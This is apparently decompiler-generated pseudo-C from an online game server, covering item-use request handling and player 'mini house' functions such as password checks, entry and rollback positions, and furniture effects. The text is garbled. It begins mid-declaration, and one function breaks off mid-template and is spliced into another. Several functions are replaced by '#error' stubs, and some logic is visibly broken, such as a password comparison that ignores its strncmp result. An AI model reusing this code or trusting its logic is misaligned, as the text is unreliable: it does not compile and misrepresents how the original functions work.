[sp+8h] [bp-3Ch]@4 int invenType; // [sp+1Ch] [bp-28h]@0 FunctionEntarance _; // [sp+20h] [bp-24h]@1 int invcell; // [sp+24h] [bp-20h]@24 char vect; // [sp+28h] [bp-1Ch]@39 LuaFuncTrigger::TriggerUseItem **v27; // [sp+2Ch] [bp-18h]@39 int v28; // [sp+30h] [bp-14h]@39 int v29; // [sp+34h] [bp-10h]@39 int v30; // [sp+40h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_BYTE *)(netcmd + 3); v30 = 0; LOBYTE(invenType) = v5; if ( !(_S7_51 & 1) ) { _S7_51 |= 1u; cmc_87.cmc_AllowMode = 70; atexit(_E8_44); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_87.cmc_AllowMode) ) { v22 = invenType; v21 = 1793; LABEL_51: (*(void (__thiscall **)(void *, signed int, int))(*(_DWORD *)v4 + 2332))(v4, v21, v22); goto LABEL_52; } v6 = *(_DWORD *)((char *)v4 + 98); if ( !v6 || !*(_BYTE *)(*(_DWORD *)(v6 + 12) + 151) ) { v22 = invenType; v21 = 1808; goto LABEL_51; } if ( (unsigned __int8)(*(int (__thiscall **)(void *, _DWORD))(*(_DWORD *)v4 + 2940))(v4, 0) == 1 ) { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 2332))(v4, 1793, 9); LABEL_52: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ"); return; } if ( (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14470) + 20))((char *)v4 + 57880) ) goto LABEL_55; v7 = *(_DWORD *)v4; if ( *((_BYTE *)v4 + 69760) & 8 ) { (*(void (__thiscall **)(void *, signed int))(v7 + 2332))(v4, 1793); v30 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(v7 + 2860))(v4) == 1 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2536))(v4) ) { LABEL_55: (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 2332))(v4, 1793); v30 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } if ( (unsigned __int8)invenType == 8 ) { v8 = (int)((char *)v4 + 32312); } else { if ( (unsigned __int8)invenType != 9 ) { (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 2332))(v4, 1794); v30 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v8 = (int)((char *)v4 + 35680); } v9 = *(_BYTE *)(netcmd + 2); v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v8 + 8))(v8); if ( AssertClass::operator__( &shineassert, *(_BYTE *)(netcmd + 2) < v10, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ : wrong slot", v9) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ : Inventory type", (unsigned __int8)invenType); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 2332))(v4, 1794); } else { if ( (unsigned __int8)(*(int (__thiscall **)(char *, _DWORD, _DWORD, _DWORD))(*((_DWORD *)v4 + 14470) + 8))( (char *)v4 + 57880, (unsigned __int8)invenType, *(_BYTE *)(netcmd + 2), *((_WORD *)v4 + 71579)) ) { (*(void (__thiscall **)(_DWORD, signed int))(*(_DWORD *)v4 + 2332))(v4, 1802); } else { v11 = (**(int (__thiscall ***)(_DWORD, _DWORD))v8)(v8, *(_BYTE *)(netcmd + 2)); v12 = v11; LOWORD(v11) = *(_WORD *)(v11 + 8); invcell = v12; v13 = ItemDataBox::operator__(&itemdatabox, v11); v14 = v13; v15 = v13 && v13->data; v16 = AssertClass::operator__( &shineassert, v15, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ : Try to use empty cell", 0); v17 = *(_DWORD *)v4; if ( v16 ) { (*(void (__thiscall **)(void *, signed int))(v17 + 2332))(v4, 1795); } else { *((_WORD *)v4 + 71629) = *(_WORD *)(v12 + 8); if ( v14->data->DemandLv <= (unsigned __int8)(*(int (__thiscall **)(void *))(v17 + 1236))(v4) ) { v18 = (*(int (__stdcall **)(int))(**(_DWORD **)(v12 + 112) + 24))(v12 + 8); if ( AssertClass::operator__( &shineassert, v18 > 0, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ : Try to use lot 0 item", 0) ) { (*(void (__thiscall **)(_DWORD, signed int))(*(_DWORD *)v4 + 2332))(v4, 1795); } else { if ( v18 <= (signed int)v14->data->MaxLot ) { if ( !*(_BYTE *)(*(_DWORD *)(*(_DWORD *)((char *)v4 + 98) + 12) + 98) || v14->dataserv->PK_KQ_USE ) { v27 = 0; v28 = 0; v29 = 0; LOBYTE(v30) = 1; LuaFuncTrigger::FuncTrigger::ft_Find( &LuaFuncTrigger::g_FuncTrigger_UseItem, (#593 *)v4, (std::vector > *)&vect); v19 = v27; for ( i = v28; v19 != (LuaFuncTrigger::TriggerUseItem **)i; ++v19 ) { if ( *v19 ) LuaFuncTrigger::TriggerUseItem::tui_PullTheTrigger(*v19, (#734 *)v4, v14->data->ID); } if ( *(_BYTE *)(netcmd + 3) == 8 ) { ShineObjectClass::ShinePlayer::sp_ItemUseReq_Equip( v4, *(_BYTE *)(netcmd + 2), invcell, (ItemActionArgument ***)v14); } else { if ( *(_BYTE *)(netcmd + 3) == 9 ) ShineObjectClass::ShinePlayer::sp_ItemUseReq_Inven(v4, *(_BYTE *)(netcmd + 2), invcell, v14); else (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v4 + 2332))(v4, 1794); } std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocatorsmh_Info.CanEnter >= 5u; } //----- (005196E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_isPublic(ShineObjectClass::ShineMiniHouse *this) { return this->smh_Info.isPublic; } //----- (005196F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_PasswordComp(ShineObjectClass::ShineMiniHouse *this, char *Password) { char result; // al@2 int v3; // eax@5 if ( this->smh_Info.isPublic ) { result = 1; } else { if ( Password ) { strncmp(this->smh_Info.Password, Password, 8u); result = v3 == 0; } else { result = 0; } } return result; } //----- (00519730) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_BroadcastNotify(ShineObjectClass::ShineMiniHouse *this, char *Chat) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 int i; // edi@1 int v4; // eax@2 v2 = this; for ( i = 5 - (unsigned __int8)(*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 112))(); i < (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v2->gap0[0] + 108))(v2); ++i ) { v4 = (*(int (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)&v2->gap0[0] + 104))(v2, i); if ( v4 ) (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v4 + 1924))(v4, Chat); } } //----- (00519790) -------------------------------------------------------- NPCManager::LinkInformTemplete *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetRollBackLinkPos(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 unsigned int v2; // eax@1 char *v3; // eax@1 FieldOption::FieldAttr *v4; // eax@1 unsigned int v5; // ecx@2 char *v6; // ecx@2 v1 = this; v2 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v2; v3 = (char *)&namestring + 256 * v2; *(_QWORD *)v3 = *(_QWORD *)&this->smh_Info.RollBackPos.exitmapname.n3_name[0]; *((_DWORD *)v3 + 2) = *(_DWORD *)&this->smh_Info.RollBackPos.exitmapname.n3_name[8]; v3[12] = 0; strncpy(byte_130BD9DC, v3, 0xCu); byte_130BD9E8 = 0; v4 = FieldOption::fo_GetFieldAttr(&fieldlist.fc_FieldOption, byte_130BD9DC); if ( v4 ) { v5 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v5; v6 = (char *)&namestring + 256 * v5; *(_DWORD *)v6 = *(_DWORD *)&v4->mapidclient.n3_name[0]; *((_DWORD *)v6 + 1) = *(_DWORD *)&v4->mapidclient.n3_name[4]; *((_DWORD *)v6 + 2) = *(_DWORD *)&v4->mapidclient.n3_name[8]; v6[12] = 0; strncpy(byte_130BD9FD, v6, 0x20u); byte_130BDA09 = 0; dword_130BDA1E = v1->smh_Info.loginloc.currentcoord.xy.x; dword_130BDA22 = v1->smh_Info.loginloc.currentcoord.xy.y; } return (NPCManager::LinkInformTemplete *)&ShineObjectClass::ShineMiniHouse::smh_StaticRollBackPos; } // 130BD9E8: using guessed type char byte_130BD9E8; // 130BDA09: using guessed type char byte_130BDA09; // 130BDA1E: using guessed type int dword_130BDA1E; // 130BDA22: using guessed type int dword_130BDA22; //----- (00519860) -------------------------------------------------------- NPCManager::LinkInformTemplete *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetEnterLinkPos(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 unsigned int v2; // eax@1 char *v3; // eax@1 unsigned int v4; // eax@1 char *v5; // eax@1 FieldOption::FieldAttr *v6; // esi@1 NPCManager::LinkInformTemplete *result; // eax@2 unsigned int v8; // eax@3 char *v9; // eax@3 unsigned int v10; // eax@3 MapInfo *v11; // edi@6 unsigned int v12; // eax@7 char *v13; // eax@7 v1 = this; v2 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v2; v3 = (char *)&namestring + 256 * v2; *(_QWORD *)v3 = *(_QWORD *)&this->smh_Info.EnterPos.entermapname.n3_name[0]; *((_DWORD *)v3 + 2) = *(_DWORD *)&this->smh_Info.EnterPos.entermapname.n3_name[8]; v3[12] = 0; strncpy(byte_130BDB4C, v3, 0xCu); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; byte_130BDB58 = 0; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)&v1->smh_Info.EnterPos.entermapname.n3_name[0]; *((_DWORD *)v5 + 1) = *(_DWORD *)&v1->smh_Info.EnterPos.entermapname.n3_name[4]; *((_DWORD *)v5 + 2) = *(_DWORD *)&v1->smh_Info.EnterPos.entermapname.n3_name[8]; v5[12] = 0; v6 = FieldOption::fo_GetFieldAttr(&fieldlist.fc_FieldOption, v5); if ( v6 ) { v8 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v8; v9 = (char *)&namestring + 256 * v8; *(_DWORD *)v9 = *(_DWORD *)&v6->mapidclient.n3_name[0]; *((_DWORD *)v9 + 1) = *(_DWORD *)&v6->mapidclient.n3_name[4]; *((_DWORD *)v9 + 2) = *(_DWORD *)&v6->mapidclient.n3_name[8]; v9[12] = 0; v10 = BTree::operator__(&mapdatabox.mdb_btree, v9); if ( v10 == -1 ) LOWORD(v10) = -1; v10 = (unsigned __int16)v10; if ( (unsigned __int16)v10 < mapdatabox.mdb_maxmapid ) { v11 = mapdatabox.mdb_index[v10]; if ( v11 ) { v12 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v12; v13 = (char *)&namestring + 256 * v12; *(_DWORD *)v13 = *(_DWORD *)&v6->mapidclient.n3_name[0]; *((_DWORD *)v13 + 1) = *(_DWORD *)&v6->mapidclient.n3_name[4]; *((_DWORD *)v13 + 2) = *(_DWORD *)&v6->mapidclient.n3_name[8]; v13[12] = 0; strncpy(byte_130BDB6D, v13, 0xCu); byte_130BDB79 = 0; dword_130BDB8E = v11->RegenX; dword_130BDB92 = v11->RegenY; } } result = (NPCManager::LinkInformTemplete *)&ShineObjectClass::ShineMiniHouse::smh_StaticEnterPos; } else { result = 0; } return result; } // 130BDB58: using guessed type char byte_130BDB58; // 130BDB79: using guessed type char byte_130BDB79; // 130BDB8E: using guessed type int dword_130BDB8E; // 130BDB92: using guessed type int dword_130BDB92; //----- (005199C0) -------------------------------------------------------- #error "5199C0: undefined or illegal type '#593' (funcsize=7)" //----- (005199E0) -------------------------------------------------------- signed int __cdecl ShineObjectClass::ShineObject::so_mh_GetOwnerRegistNumber() { return 65535; } //----- (005199F0) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetOwnerRegistNumber(ShineObjectClass::ShineMiniHouse *this) { return this->smh_Info.EnterPlayerIndex[5]; } //----- (00519A00) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_GetMemberPlayerHandleNumber(int spc) { return -1; } //----- (00519A10) -------------------------------------------------------- #error "519A10: undefined or illegal type '#593' (funcsize=8)" //----- (00519A30) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetMemberPlayerRegistNumber(ShineObjectClass::ShineMiniHouse *this, int spc) { return this->smh_Info.EnterPlayerIndex[spc]; } //----- (00519A40) -------------------------------------------------------- #error "519A40: undefined or illegal type '#593' (funcsize=3)" //----- (00519A50) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetInnerPlayerCount(ShineObjectClass::ShineMiniHouse *this) { return this->smh_Info.EnterPlayerCount; } //----- (00519A60) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetInnerGMCount(ShineObjectClass::ShineMiniHouse *this) { return this->smh_Info.EnterGMCount; } //----- (00519A70) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetMaxInnerPlayer(ShineObjectClass::ShineMiniHouse *this) { return this->smh_Info.MaxPlayer; } //----- (00519A80) -------------------------------------------------------- BriefInformationMiniHouse *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetBriefInfo(ShineObjectClass::ShineMiniHouse *this) { return &this->smh_BriefInfo; } //----- (00519A90) -------------------------------------------------------- signed int __stdcall ShineObjectClass::ShineObject::so_mh_CompulsionMoveTo(int moveto) { return 4545; } //----- (00519AA0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_mh_BuildingMiniHouse(#593 *this, #734 *a2, char *p_MHMapName, char *p_MHTItle, char *p_MHPassWord, int d_MaxEnter, char isItemInfoClose, char *sNotify) { return 1; } //----- (00519AB0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetVisitReadyInfo(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_VISITREADY_ACK *visitready_ack) { visitready_ack->isPublic = this->smh_Info.isPublic; visitready_ack->maxvisiter = this->smh_Info.MaxPlayer - 5; visitready_ack->visitercnt = this->smh_Info.EnterPlayerCount - 5; return 1; } //----- (00519AE0) -------------------------------------------------------- #error "519AE0: undefined or illegal type '#593' (funcsize=87)" //----- (00519BE0) -------------------------------------------------------- #error "519BE0: undefined or illegal type '#593' (funcsize=27)" //----- (00519C40) -------------------------------------------------------- char *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetTitle(ShineObjectClass::ShineMiniHouse *this) { return this->smh_Info.Title; } //----- (00519C50) -------------------------------------------------------- ItemBag *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetFurnitureInven(ShineObjectClass::ShineMiniHouse *this, int inventype) { ItemBag *result; // eax@2 switch ( inventype ) { case 3: result = (ItemBag *)&this->smh_Furniture.FurnitureInven; break; case 13: result = (ItemBag *)&this->smh_Furniture.AccessoryInven; break; case 14: result = (ItemBag *)&this->smh_Furniture.TileAllInven; break; case 16: result = (ItemBag *)&this->smh_Furniture.MiniGameInven; break; default: result = 0; break; } return result; } //----- (00519CC0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_CanObjAni(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 FurnitureHandle) { signed int v2; // eax@1 char *v3; // esi@1 unsigned int v4; // edx@6 v2 = 0; v3 = (char *)this->smh_FurnitureLastTouchTIme; while ( *(_WORD *)v3 != -1 ) { if ( FurnitureHandle == *(_WORD *)v3 ) { v4 = clockwatch.cw_CurrTick; if ( this->smh_FurnitureLastTouchTIme[v2].LastTouch + 20 >= clockwatch.cw_CurrTick ) return 0; LABEL_7: this->smh_FurnitureLastTouchTIme[v2].LastTouch = v4; return 1; } ++v2; v3 += 8; if ( v2 >= 294 ) break; } if ( v2 != 294 ) { this->smh_FurnitureLastTouchTIme[v2].FurnitureHandle = FurnitureHandle; v4 = clockwatch.cw_CurrTick; goto LABEL_7; } return 0; } //----- (00519D30) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_EffectApply(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 nEffectHnd, PROTO_NC_MINIHOUSE_FURNITURE_EFFECT_CMD *pFurnitureEffectCmd) { ShineObjectClass::ShineMiniHouse *v3; // edi@1 unsigned int v4; // ecx@2 void *v5; // eax@5 void *v6; // esi@5 int v7; // eax@6 int v8; // eax@7 unsigned int v10; // eax@10 AbnormalStateDictionary::AbState::AbStateStr *v11; // ebx@11 void *v12; // eax@13 const char *v13; // ebx@14 unsigned __int16 v14; // ax@16 void *v15; // ebp@16 unsigned __int8 v16; // al@18 int v17; // edx@18 int v18; // eax@18 int v19; // edx@19 int v20; // eax@19 void *v21; // esi@19 int v22; // eax@21 unsigned __int8 v23; // al@22 int v24; // ebx@27 __int16 v25; // bx@31 PROTO_NC_MINIHOUSE_FURNITURE_EFFECT_CMD *v26; // eax@34 int v27; // eax@34 int v28; // eax@35 int v29; // edx@38 SubAbStateInfo *v30; // eax@38 int v31; // eax@39 AbnormalStateInfo *v32; // ecx@39 int v33; // edx@39 int v34; // edx@40 int v35; // eax@43 int v36; // eax@43 unsigned __int8 v37; // al@44 int v38; // edx@44 int v39; // edx@45 int v40; // eax@45 DebugLogging *v41; // eax@45 DebugLogging *v42; // eax@45 DebugLogging *v43; // eax@45 int v44; // eax@45 int v45; // eax@46 int v46; // edx@50 PROTO_NC_MINIHOUSE_FURNITURE_EFFECT_CMD *v47; // eax@54 int v48; // esi@54 int v49; // esi@55 int v50; // eax@58 SubAbStateInfo *v51; // eax@58 int v52; // eax@59 AbnormalStateInfo *v53; // ecx@59 int v54; // edx@59 int v55; // edx@62 int v56; // edx@63 int v57; // eax@63 DebugLogging *v58; // eax@63 DebugLogging *v59; // eax@63 DebugLogging *v60; // eax@63 int v61; // eax@63 int v62; // edx@64 int v63; // edx@64 ORToken v64; // [sp-18h] [bp-BCh]@13 signed int v65; // [sp-14h] [bp-B8h]@38 AbnormalStateDictionary::AbState::AbStateStr *v66; // [sp-10h] [bp-B4h]@38 unsigned int v67; // [sp-Ch] [bp-B0h]@38 char *v68; // [sp-8h] [bp-ACh]@38 signed int v69; // [sp-4h] [bp-A8h]@13 int v70; // [sp+0h] [bp-A4h]@13 int v71; // [sp+4h] [bp-A0h]@13 char *v72; // [sp+8h] [bp-9Ch]@45 DebugLineFeed *v73; // [sp+Ch] [bp-98h]@45 int i; // [sp+18h] [bp-8Ch]@1 AbnormalStateDictionary::AbState::AbStateStr *AbstateDic; // [sp+1Ch] [bp-88h]@11 void *pFurnitureEffectTable; // [sp+20h] [bp-84h]@5 PROTO_NC_MINIHOUSE_FURNITURE_EFFECT_CMD *v77; // [sp+24h] [bp-80h]@1 ORToken *nPreInnerPlayerCount; // [sp+28h] [bp-7Ch]@13 int LocateXY; // [sp+2Ch] [bp-78h]@43 int v80; // [sp+30h] [bp-74h]@43 unsigned int AbstateIdx; // [sp+34h] [bp-70h]@10 char MapPotalLinkToPos; // [sp+38h] [bp-6Ch]@44 char v83; // [sp+4Ch] [bp-58h]@14 char v84; // [sp+6Dh] [bp-37h]@14 int v85; // [sp+8Eh] [bp-16h]@14 int v86; // [sp+92h] [bp-12h]@14 unsigned int v87; // [sp+A0h] [bp-4h]@1 v87 = (unsigned int)&i ^ __security_cookie; v77 = pFurnitureEffectCmd; v3 = this; if ( gMiniHouseObjEffect.m_pHead ) v4 = gMiniHouseObjEffect.m_pHead->nNumOfRecord; else v4 = 0; if ( nEffectHnd >= v4 || (v5 = CDataReader::GetRecord(&gMiniHouseObjEffect, nEffectHnd), v6 = v5, (pFurnitureEffectTable = v5) == 0) ) return 1; v7 = *(_DWORD *)((char *)v5 + 34); if ( v7 ) { v8 = v7 - 1; if ( v8 ) { if ( v8 != 1 ) return 2; goto LABEL_15; } v10 = BTree::operator__(&unk_6BD71C, (const char *)v6 + 38); AbstateIdx = v10; if ( v10 != -1 ) { v11 = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, (ABSTATEINDEX)v10); AbstateDic = v11; if ( !v11 ) return 2; goto LABEL_16; } return 2; } v71 = 0; v70 = ItemDataBox::idb_2itemid(&itemdatabox, (const char *)v6 + 38); v69 = (signed int)"ItemIdent"; nPreInnerPlayerCount = &v64; ORToken::ORToken(&v64, "RecallPoint"); v12 = OptionReader::or_SelectFrom(&recallpoint, v64, (char *)v69, v70, v71); if ( !v12 ) return 2; v13 = (char *)v12 + 36; v85 = *((_WORD *)v12 + 34); v86 = *((_WORD *)v12 + 35); strncpy(&v83, (const char *)v12 + 36, 0x21u); strncpy(&v84, v13, 0x21u); LABEL_15: v11 = AbstateDic; LABEL_16: v14 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 132))(v3); v15 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, v14); if ( !v15 ) return 3; v16 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 112))(v3); v17 = *(_DWORD *)&v3->gap0[0]; i = 5 - v16; v18 = (unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(v17 + 108))(v3); if ( i < (unsigned __int8)v18 ) { while ( 1 ) { v19 = *(_DWORD *)&v3->gap0[0]; v71 = i; v20 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *, int))(v19 + 104))(v3, i); v21 = (void *)v20; if ( v20 ) { if ( (void *)v20 != v15 ) { v22 = (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v20 + 1236))(v20); if ( (unsigned int)(unsigned __int8)v22 >= *(_DWORD *)((char *)pFurnitureEffectTable + 82) ) { v23 = (*(int (__thiscall **)(void *))(*(_DWORD *)v21 + 1236))(v21); if ( (unsigned int)v23 <= *(_DWORD *)((char *)pFurnitureEffectTable + 86) ) { if ( *(_DWORD *)((char *)pFurnitureEffectTable + 70) == 1 ) goto ApplyAuthorityUser; if ( *(_DWORD *)((char *)pFurnitureEffectTable + 74) || *(_DWORD *)((char *)pFurnitureEffectTable + 78) ) { if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v21 + 2088))(v21) ) { v24 = (*(int (__thiscall **)(void *))(*(_DWORD *)v21 + 2088))(v21); if ( v24 == (*(int (__thiscall **)(void *))(*(_DWORD *)v15 + 2088))(v15) && *(_DWORD *)((char *)pFurnitureEffectTable + 78) == 1 ) { LABEL_33: v11 = AbstateDic; ApplyAuthorityUser: v26 = v77; *(&v77[1].nEffectHandle + v77->nApplyPlayerCnt) = *((_WORD *)v21 + 2); ++v26->nApplyPlayerCnt; v27 = *(_DWORD *)((char *)pFurnitureEffectTable + 34); if ( v27 ) { v28 = v27 - 1; if ( v28 ) { if ( v28 != 1 ) return 2; } else { v29 = *(_DWORD *)v21; v71 = 0; v70 = 0; v69 = -1; v68 = 0; v67 = clockwatch.cw_CurrTick; v66 = v11; v65 = 1; *(_DWORD *)&v64.ort_Name[0] = AbstateIdx; (*(void (__thiscall **)(void *, void *, unsigned int, signed int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, _DWORD, signed int, _DWORD, _DWORD))(v29 + 1584))( v21, v21, AbstateIdx, 1, v11, clockwatch.cw_CurrTick, 0, -1, 0, 0); v71 = v11->index->AbStataIndex; ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v21, v71); v30 = v11->subabstate[1].assa_info; if ( v30 ) { v31 = v30->KeepTime; v32 = v11->index; v33 = *(_DWORD *)v21; v71 = 1; v70 = v31; v69 = v32->AbStataIndex; (*(void (__thiscall **)(void *, signed int, int, signed int))(v33 + 1004))(v21, v69, v31, 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( v21, v11->index->AbStataIndex, v11->subabstate[1].assa_info->KeepTime, 1); } } } else { v34 = *(_DWORD *)v21; v71 = 1; if ( (unsigned __int8)(*(int (__thiscall **)(void *, signed int))(v34 + 368))(v21, 1) != 1 || (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 672))(v3) != 2 && (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 672))(v3) != 3 ) { v37 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 108))(v3); v38 = *(_DWORD *)v21; v71 = 10; v70 = 9; v69 = 6; nPreInnerPlayerCount = (ORToken *)v37; v68 = &MapPotalLinkToPos; if ( (unsigned __int8)(*(int (__thiscall **)(void *, char *, signed int, signed int, signed int))(v38 + 1528))( v21, &MapPotalLinkToPos, 6, 9, 10) ) { v45 = (unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 108))(v3); if ( nPreInnerPlayerCount != (ORToken *)(unsigned __int8)v45 && i >= 5 ) --i; } else { v39 = *(_DWORD *)v21; v71 = (int)&deb_LF; v70 = (int)"] cannot out minihouse"; v40 = (*(int (__thiscall **)(void *, _DWORD, DebugLineFeed *))(v39 + 1736))( v21, "] cannot out minihouse", &deb_LF); v71 = (int)NameString::operator__(&namestring, (Name4 *)(v40 + 2)); v41 = DebugLogging::operator<<( &InnerMiniHouseLog, "ShineObjectClass::ShineMiniHouse::so_mh_EffectApply : player ["); v42 = DebugLogging::operator<<(v41, (char *)v71); v43 = DebugLogging::operator<<(v42, v72); DebugLogging::operator<<(v43, v73); v44 = *(_DWORD *)v21; v73 = 0; v72 = 0; v71 = 1669; (*(void (__thiscall **)(void *, signed int))(v44 + 1520))(v21, 1669); } } else { v35 = *(_DWORD *)v21; v71 = 1; (*(void (__thiscall **)(void *, signed int))(v35 + 400))(v21, 1); v36 = *(_DWORD *)v21; LocateXY = v85; v80 = v86; v71 = (int)&LocateXY; v70 = (int)&v83; (*(void (__thiscall **)(void *, char *, int *))(v36 + 404))(v21, &v83, &LocateXY); } } goto LABEL_50; } v11 = AbstateDic; } if ( (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v21 + 1356))(v21) != -1 ) { v25 = (*(int (__thiscall **)(void *))(*(_DWORD *)v21 + 1356))(v21); if ( v25 == (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v15 + 1356))(v15) && *(_DWORD *)((char *)pFurnitureEffectTable + 74) == 1 ) goto LABEL_33; v11 = AbstateDic; } } } } } } LABEL_50: v46 = *(_DWORD *)&v3->gap0[0]; ++i; if ( i >= (unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(v46 + 108))(v3) ) { v6 = pFurnitureEffectTable; break; } } } if ( (unsigned int)(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v15 + 1236))(v15) >= *(_DWORD *)((char *)v6 + 82) && (unsigned int)(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v15 + 1236))(v15) <= *(_DWORD *)((char *)v6 + 86) ) { v47 = v77; *(&v77[1].nEffectHandle + v77->nApplyPlayerCnt) = *((_WORD *)v15 + 2); ++v47->nApplyPlayerCnt; v48 = *(_DWORD *)((char *)v6 + 34); if ( v48 ) { v49 = v48 - 1; if ( v49 ) { if ( v49 != 1 ) return 2; } else { v50 = *(_DWORD *)v15; v71 = 0; v70 = 0; v69 = -1; v68 = 0; v67 = clockwatch.cw_CurrTick; v66 = v11; v65 = 1; *(_DWORD *)&v64.ort_Name[0] = AbstateIdx; (*(void (__thiscall **)(void *, void *, unsigned int, signed int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, _DWORD, signed int, _DWORD, _DWORD))(v50 + 1584))( v15, v15, AbstateIdx, 1, v11, clockwatch.cw_CurrTick, 0, -1, 0, 0); v71 = v11->index->AbStataIndex; ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v15, v71); v51 = v11->subabstate[1].assa_info; if ( v51 ) { v52 = v51->KeepTime; v53 = v11->index; v54 = *(_DWORD *)v15; v71 = 1; v70 = v52; v69 = v53->AbStataIndex; (*(void (__thiscall **)(void *, signed int, int, signed int))(v54 + 1004))(v15, v69, v52, 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( v15, v11->index->AbStataIndex, v11->subabstate[1].assa_info->KeepTime, 1); return 0; } } } else { if ( (*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 672))(v3) == 2 || (*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 672))(v3) == 3 ) { v62 = *(_DWORD *)&v3->gap0[0]; v71 = 1; (*(void (__thiscall 